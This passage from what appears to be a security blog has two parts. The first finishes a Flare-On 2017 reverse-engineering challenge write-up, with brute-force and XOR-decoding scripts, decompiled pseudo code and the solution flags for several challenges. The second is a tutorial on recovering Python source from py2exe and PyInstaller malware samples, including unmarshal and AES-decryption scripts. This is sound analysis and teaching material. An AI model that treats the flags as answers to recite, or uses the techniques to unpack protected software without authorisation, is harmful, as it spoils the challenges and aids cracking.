 subprocess.Popen(r"C:\Users\IEUser\Desktop\script\greek_to_me.exe")

 bytes = chr(byte)
 print hex(byte)

 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 client.connect(ADDR)

 client.send(bytes)
 while True:
  data = client.recv(100)
  if not data:
   break
  print data

 client.close()

If the byte is correct we will get the output like "Congratulations! But wait, where',27h,'s my flag?".
We will get this message at byte 0xa2, that's it our final byte is 0xa2.
Now, we have the data at 0x40107c, we have the xor key 0xa2 and we know the operations.
So, I have written below python code to get the key.

data = bytearray.fromhex("33E1C49911068116F0329FC49117068114F0068115F1C4911A06811BE2068118F2068119F106811EF0C4991FC4911C06811DE6068162EF068163F2068160E3C49961068166BC068167E6068164E80681659D06816AF2C4996B068168A9068169EF06816EEE06816FAE06816CE306816DEF068172E90681737C")

for key in range(1, 0xff):
 data1 = bytearray(0x80)
 for i in range(len(data)):
  print data[i]
  print key
  data1[i] = data[i] ^ key
  data1[i] = data1[i] + 0x22
 print data1

Key = et_tu_brute_force@flare-on.com


Challenge 4 : notepad.exe

This binary is infected notepad.exe which is patched with some other code.
At the start, it searches for the files in "%USERPROFILE%/flareon2016challenge" directory.
This was the hint, we need Flare-On 2016 binaries to solve this challenge.

The loop at 0x1014EAD performs a lookup in directory and calling the function at 0x1014E20 when a file is found.
This loop checks the executable files in the directory and takes the timedatestamp of the file and compare it to hardcoded timdatestamp. If these two values are same then below two functions are called successively.
1. Function at 0x1014350, It will format timestamp of mapped file and display it through MessageBox.
2. Function at 0x1014BAC, It will open a file key.bin in flareon2015challenge directory and write 8 bytes from some offset of mapped file.

Look at the pseudo code of function2.



It is comparing timestamp of a file with hardcoded value.
So if you see the timestamp of first 4 challenges of Flare-on 2016 you will get the idea.
Just put those 4 files in the directory and tweak notepad.exe to update its timestamp.
After 4 executions we get the key.bin properly filled.
When you update notepad.exe with last timestamp, you get the key.



Key : bl457_fr0m_th3_p457@flare-on.com


Challenge 5 : pewpewboat.exe

It is not a PE file but an x64 ELF file hidden ship game.
A 8x8 grid is provided, some of the cells have a ship hidden.
The task is to complete all the levels.

When you execute the file you will see below screen.

Loading first pew pew map...
   1 2 3 4 5 6 7 8
  _________________
A |_|_|_|_|_|_|_|_|
B |_|_|_|_|_|_|_|_|
C |_|_|_|_|_|_|_|_|
D |_|_|_|_|_|_|_|_|
E |_|_|_|_|_|_|_|_|
F |_|_|_|_|_|_|_|_|
G |_|_|_|_|_|_|_|_|
H |_|_|_|_|_|_|_|_|

Rank: Seaman Recruit

Welcome to pewpewboat! We just loaded a pew pew map, start shootin'!

Enter a coordinate:

We just have to enter the right coordinate and make some alphabet.
You can take snapshot after completion of a level, because we have limited shots and if we lose we have start from the beginning.

Here are the sequences of characters that I found.
FHGUZREJVO


   1 2 3 4 5 6 7 8 
A |_|_|_|_|_|_|_|_|
B |_|X|X|X|X|X|_|_|
C |_|_|_|X|_|_|_|_|
D |_|_|_|X|_|_|_|_|
E |_|_|_|X|_|_|_|_|
F |X|_|_|X|_|_|_|_|
G |_|X|X|_|_|_|_|_|
H |_|_|_|_|_|_|_|_|

On completing all the levels, It displays a following message.
Aye! You found some letters did ya? To find what you're looking for, you'll want to re-order them: 9, 1, 2, 7, 3, 5, 6, 5, 8, 0, 2, 3, 5, 6, 1, 4. Next you let 13 ROT in the sea! THE FINAL SECRET CAN BE FOUND WITH ONLY THE UPPER CASE.

As given in the message, we ROT-13 the letters and we get BUTWHEREISTHERUM.
Providing this to the application we can get the key.

Key : y0u__sUnK_mY__P3Wp3w_b04t@flare-on.com


Challenge 6 : payload.dll

This DLL has only one export function of name EntryPoint.
When we execute this function using rundll32, we get the below message box.


Here is the hint, we have to provide some argument to this DLL.
Let's have a look at the code of export function.
The loop at 0x180005B05 is like strcmp() comparing arg1 to the value form DLL.

When you break at this location, we can get the value from which our argument is compared to.
The argument is comparing with "orphanedirreproducibleconfidence". Let's change the argument value and make this condition satisfied.
So in the last it shows a message box with the key part of 1 byte.



Now let's get back in reverse, where this argument value is coming from.
The answer is in function at 0x180005D30, let's check the pseudo code this function.



So, 25 index is coming from sub_180004760(), it gives value 25 if execute in September.
For argument value, let's check sub_180005C40()

int __fastcall sub_180005C40(unsigned int a1)
{
  __int64 v2; // [sp+0h] [bp-58h]@4
  unsigned int i; // [sp+20h] [bp-38h]@1
  int v4; // [sp+24h] [bp-34h]@1
  __int64 *v5; // [sp+28h] [bp-30h]@1
  __int64 v6; // [sp+30h] [bp-28h]@3
  DWORD flOldProtect; // [sp+38h] [bp-20h]@1
  __int64 v8; // [sp+40h] [bp-18h]@4
  unsigned int v9; // [sp+60h] [bp+8h]@1

  v9 = a1;
  v4 = 0x52414E44;
  sub_180007900(a1 + 0x52414E44);
  VirtualProtect(&qword_180001000[64 * (unsigned __int64)v9], 0x200ui64, 0x40u, &flOldProtect);
  v5 = &qword_180001000[64 * (unsigned __int64)v9];
  for ( i = 0; i < 0x200ui64; ++i )
  {
    v6 = i;
    *((_BYTE *)v5 + i) ^= sub_1800078D4();
  }
  return sub_180005E90((unsigned __int64)&v2 ^ v8);
}

This function is for making argument value, it takes encrypted data from address 0x180001000 and decrypt it using xor loop.
The argment is passing to this function is 25, means it will always takes last 0x200 bytes of data. so we need to modify this parameter during debugging.
It will use 25th key to decrypt 25th region and reveals the 25th part of the key.

Repeat this procedure with index from 0 to 24, you will get each part of the key through message box.

key[0] = 0x77
key[1] = 0x75
key[2] = 0x75
key[3] = 0x75
key[4] = 0x74
key[5] = 0x2d
key[6] = 0x65
key[7] = 0x78
key[8] = 0x79
key[9] = 0x30
key[10] = 0x72
key[11] = 0x74
key[12] = 0x73
key[13] = 0x40

We will stop at '@' as we know it has to end with @flare-on.com

Key : wuuut-exp0rts@flare-on.com

To be continue...

Monday, 31 July 2017

Reverse Engineering of Python built executables


PyInstaller and py2exe bundles a Python application and all its dependencies into a executable file. The user can run the EXE file without installing a Python interpreter or any modules.
As we all know python is easy and effortless scripting language, so malware authors prefer python for writing malwares and convert it into exe file using py2exe or pyInstaller.

In this blog, I am going to explain you how to reverse those binaries and take out the python source code.

Case I :

Let's take this file d243ca34ec6a2f7995730747c6d73388 [VirusTotal][HybridAnalysis]
This file is compiled and built by py2exe.

How will you say it is generated by py2exe.
Ok, let's have a look at the resources of binary.

Fig 1 : Case-1 resources

You will find two sources in this binary, First one is "PYTHON27.DLL" which has embedded python.exe of 2.7 version and another one is "PYTHONSCRIPT" which is nothing but compiled version of python script.
PYTHONSCRIPT starts with the header of size 0x10 and first 8 bytes are magic number 12345678.

How do I get the source code??
Ok, first you have to dump PYTHONSCRIPT resource.
First 0x10 bytes are for header and remaining bytes are marshall or serialized data, so we have to unmarshall it.

For unmarshal, you can use below python code:

import marshal, imp
 
f=open('PYTHONSCRIPT','rb')
f.seek(17)  # Skip the header of size 0x10

ob=marshal.load(f)

for i in range(0,len(ob)):
    open(str(i)+'.pyc','wb').write(imp.get_magic() + '\0'*4 + marshal.dumps(ob[i]))
 
f.close()

This script will read PYTHONSCRIPT dump file, skip 0x10 bytes of header, unmarshall remaining data and save python compiled scripts (.pyc).

In this case, you will get 3 below python compiled scripts.
0.pyc
1.pyc
2.pyc

You got the pyc files, now you just need a python decompiler to get the source code.
You can download uncompyle6 decompiler from here and install it by running its setup.py file.
Or just install it by using pip from terminal or cmd.

pip install uncompyle6

After installation just run it with .pyc file and you will get the source code of final python file.

Fig 2 : decompile python script


Case II :

Now, look at this file 38d795517e7aab20e3fb80e52a30aa5f [VirusTotal][HybridAnalysis]
If you check the resources of this binary, you will not find "PYTHON27.DLL" or "PYTHONSCRIPT" resource.
So, you can say this binary is not built by py2exe.

Now look at the overlay of this binary.

Fig 3 : Overlay of case II binary

The overlay starts with this magic number 78DA63FE and remaining data is python modules encoded with Zlib.
From this magic number, you can say it is built by pyInstaller and contains python script.

To extract the python modules from executable we have one extractor tool pyinstxtractor.
Just run this file with executable binary file.


pyinstxtractor.py conversion_case2.exe

After extraction, you will get the files as shown in Fig4.
Fig 4 : Extracted modules of Case II

"out00-PYZ.pyz_extracted" contains python compiled scripts (pyc) of imported python modules.
We just need the main file, so here "conversion" is our main file.
It is .pyc file without magic header.
Magic number of .pyc file is 03F30D0A00000000 of length 8 bytes, you just need to prepend this magic number to "conversion" file and rename it to "conversion.pyc"

Now, you have .pyc file, you can use uncompyle6 decompiler as explained in Case-I to decompile .pyc
After decompilation, you will get the final python code (.py).


Case III:

Let's have a look at fe23fb462a9e6f730ee6e93daef27c5c [VirusTotal][HybridAnalysis]
This binary does not have resources like Case I, now let's see overlay data.

Fig 5 : Overlay of Case III binary

Here we have 78DA4D8E magic number, first two bytes are similar to Case II.
Yes, it is similar to Case II but difference is only with extracted modules.

Just extract this binary with pyinstxtractor as we did in Case II.
After extraction, you will the files as shown in Fig 6.

Fig 6 : Extracted modules of Case III binary

In Case II, "out00-PYZ.pyz_extracted" directory contains .pyc files of imported python modules but in this case you will files as shown in Fig 7.

Fig 7 : Imported modules in Case III

These modules are encrypted by AES with CFB mode.
If you open "pyimod00_crypto_key" shown in Fig 6, you will get the AES encryption key.

Fig 8 : AES encryption key

In this case, "ThisIsForFun" is the AES encryption key and First 8 bytes of each file are the Initial Vector (IV) of AES encryption.

So, If you need the python modules you can use below script to get it back.


from Crypto.Cipher import AES
import zlib

CRYPT_BLOCK_SIZE = 16

# key obtained from pyimod00_crypto_key
key = 'ThisIsForFun'

inf = open('_abcoll.pyc.encrypted', 'rb') # encrypted file input
outf = open('_abcoll.pyc', 'wb') # output file 

# Initialization vector
iv = inf.read(CRYPT_BLOCK_SIZE)

cipher = AES.new(key, AES.MODE_CFB, iv)

# Decrypt and decompress
plaintext = zlib.decompress(cipher.decrypt(inf.read()))

# Write pyc header
outf.write('\x03\xf3\x0d\x0a\0\0\0\0')

# Write decrypted data
outf.write(plaintext)

inf.close()
outf.close()

To get main python program, prepend the .pyc magic number 03F30D0A00000000  to "conversion" file shown in Fig6 and rename it to "conversion.pyc" and use uncompyle6 decompiler to decompile this file and get the source code.

Case IV:

In some cases, pyc file failed to decompile by decompiler because it has its bytecode manipulated to prevent it from being decompile it easily.
So, in this case we have to disassemble the .pyc file using python disassembler, deobfuscate it and then decompile.

I prefer to disassemble this kind of binaries and try to understand bytecode only.
bytecode is easy to understand, you will get this by using following python code.


import dis
dis.dis("compiled_python.pyc")

You can learn more about python byte code instructions at here.

That's it.
Thank you 😊